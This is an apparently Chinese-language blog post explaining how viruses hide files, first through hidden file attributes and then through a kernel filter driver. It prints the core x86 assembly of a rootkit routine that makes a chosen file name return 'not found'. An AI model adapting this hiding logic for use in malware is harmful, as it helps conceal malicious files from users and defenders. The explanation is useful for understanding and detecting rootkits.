病毒常用方法之隱身術

 什麼是隱身術呢?哈利波特在實驗室裏穿上隱身衣,教授就看不見他們了;孫悟空72變,隱個身那也是小菜一碟。總之,隱身術就是在一定環境下讓別人看不到自己。做壞事肯定不想被抓住,所以就找一些方法來隱藏自己的痕跡。目前我知道的有2種:1,通過設置文件的屬性來實現文件隱藏,這種方法操作簡單,效果可以達到,但留下了一些馬腳(當通過正常操作打開文件夾時,在窗體的最下端有一塊位置會顯示-----有多少個對象,這時如果有隱藏對象(通過這種方法實現的 )就會發現後面還有一個括號---有幾個隱藏對象;2,通過內核模塊在文件系統上作手腳,這種方法與上一個比實現起來就要麻煩很多了。它的主要思路是創建DeviceObejct並Attach(附加)到文件設備對象上(也就是C盤)來處理IRP,檢測對應的操作參數中是否與要保護的文件名相關,如果是,就返回不存在。
 下面是一個內核模塊實現文件隱藏的關鍵部分:
    mov  ebx,ds:MmIsAddressValid
    push esi   ;保存現場
    push edi
    mov  edi,[ebp+Irp]
    mov  esi,[edi+60h]    ;PIO_STACK_LOCATION CurrentStackLocation    ---esi
    mov  eax,[esi+0ch]
    mov  [esp+20h+var_8],eax
    mov  eax,[esi+10h]
    mov  [esp+20h+var_4],eax
    mov  eax,[esi+4]
    inc  byte ptr [edi+23h] ;CurrentLocation
    mov  [esp+20h+var_10],eax
    lea  eax,[esi+24h]
    mov  [edi+60h],eax
    cmp  byte ptr [esi],0 ;CurrentStackLocation->MajorFunction==IRP_MJ_CREATE=0
    jnz  short loc_10400
    push dword ptr [esi+18h] ;CurrentStackLocation->FileObject 
    call ebx  ;MmIsAddressValid    
    test al,al    ;0---->失敗  
    jz   short loc_10400  
    mov  eax,[esi+18h]
    push dword ptr [eax+34h] ;FileObject->FileName.Buffer  
    call ebx 
    test al,al 
    jz   short loc_10400 
    mov  eax,[esi+18h]
    mov  eax,[eax+34h]
    mov  edx, offset (要隱藏文件名的地址) 
    call CompareStr  ;比較字符串,相等返回0  
    test eax,eax 
    jnz  short loc_10400  
    mov  eax,[edi+28h] ;Irp->UserIosb 
    mov  esi,0C0000034h ;#define STATUS_OBJECT_NAME_NOT_FOUND ((NTSTATUS)0xC0000034hL)  
    mov  [edi+18h],esi; Irp->IoStatus.Status=esi 
    xor  dl,dl
    mov  ecx,edi 
    mov  [eax],esi  ;UserIosb->Status=esi 
    call ds:IofCompleteRequest ;f代表fastcall函數調用方式,ecx,edx 用來裝載實參  
    ;IoCompleteRequest()表明完成對I/O request所有的加工處理,將 IRP 還給 I/O manager(翻譯自ddk文檔)

緊接着還有關於IRP_MJ _READ和IRP_MJ_QUERY_INFORMATION的處理,和上面類似,但要複雜一點。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章